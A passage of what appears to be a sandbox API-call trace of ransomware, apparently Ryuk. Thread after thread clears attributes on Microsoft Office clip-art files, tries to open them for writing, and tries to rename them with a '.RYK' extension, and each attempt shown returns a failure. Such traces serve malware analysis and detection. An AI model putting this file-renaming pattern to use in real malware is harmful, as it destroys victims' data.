	[0249.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2873
	os_tid = 0x3240

	[0249.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", dwFileAttributes=0x80) returned 0
	[0249.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2874
	os_tid = 0x3244

	[0249.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF", dwFileAttributes=0x80) returned 0
	[0249.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2877
	os_tid = 0x3250

	[0249.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF", dwFileAttributes=0x80) returned 0
	[0249.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2878
	os_tid = 0x3254

	[0249.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF", dwFileAttributes=0x80) returned 0
	[0249.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2879
	os_tid = 0x3258

	[0249.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF", dwFileAttributes=0x80) returned 0
	[0249.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.641] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2880
	os_tid = 0x325c

	[0249.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF", dwFileAttributes=0x80) returned 0
	[0249.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2881
	os_tid = 0x3260

	[0249.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF", dwFileAttributes=0x80) returned 0
	[0249.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2882
	os_tid = 0x3264

	[0249.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF", dwFileAttributes=0x80) returned 0
	[0249.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2883
	os_tid = 0x3268

	[0249.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF", dwFileAttributes=0x80) returned 0
	[0249.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2902
	os_tid = 0x32b4

	[0250.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF", dwFileAttributes=0x80) returned 0
	[0250.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2903
	os_tid = 0x32b8

	[0250.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF", dwFileAttributes=0x80) returned 0
	[0250.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2904
	os_tid = 0x32bc

	[0250.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF", dwFileAttributes=0x80) returned 0
	[0250.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.435] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2905
	os_tid = 0x32c0

	[0250.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF", dwFileAttributes=0x80) returned 0
	[0250.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.436] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2906
	os_tid = 0x32c4

	[0250.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF", dwFileAttributes=0x80) returned 0
	[0250.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2907
	os_tid = 0x32c8

	[0250.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF", dwFileAttributes=0x80) returned 0
	[0250.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.439] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2908
	os_tid = 0x32cc

	[0250.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF", dwFileAttributes=0x80) returned 0
	[0250.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.441] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2909
	os_tid = 0x32d0

	[0250.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG", dwFileAttributes=0x80) returned 0
	[0250.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2910
	os_tid = 0x32d4

	[0250.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG", dwFileAttributes=0x80) returned 0
	[0250.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2911
	os_tid = 0x32d8

	[0250.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG", dwFileAttributes=0x80) returned 0
	[0250.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2912
	os_tid = 0x32dc

	[0250.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG", dwFileAttributes=0x80) returned 0
	[0250.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2913
	os_tid = 0x32e0

	[0250.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG", dwFileAttributes=0x80) returned 0
	[0250.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2915
	os_tid = 0x32f0

	[0250.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG", dwFileAttributes=0x80) returned 0
	[0250.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.895] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2916
	os_tid = 0x32f4

	[0250.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF", dwFileAttributes=0x80) returned 0
	[0250.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2917
	os_tid = 0x32f8

	[0250.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF", dwFileAttributes=0x80) returned 0
	[0250.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2918
	os_tid = 0x32fc

	[0250.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF", dwFileAttributes=0x80) returned 0
	[0250.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.907] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2919
	os_tid = 0x3300

	[0250.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF", dwFileAttributes=0x80) returned 0
	[0250.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.908] CloseHandle (hObject=0xffffffffffffffff) returned 0
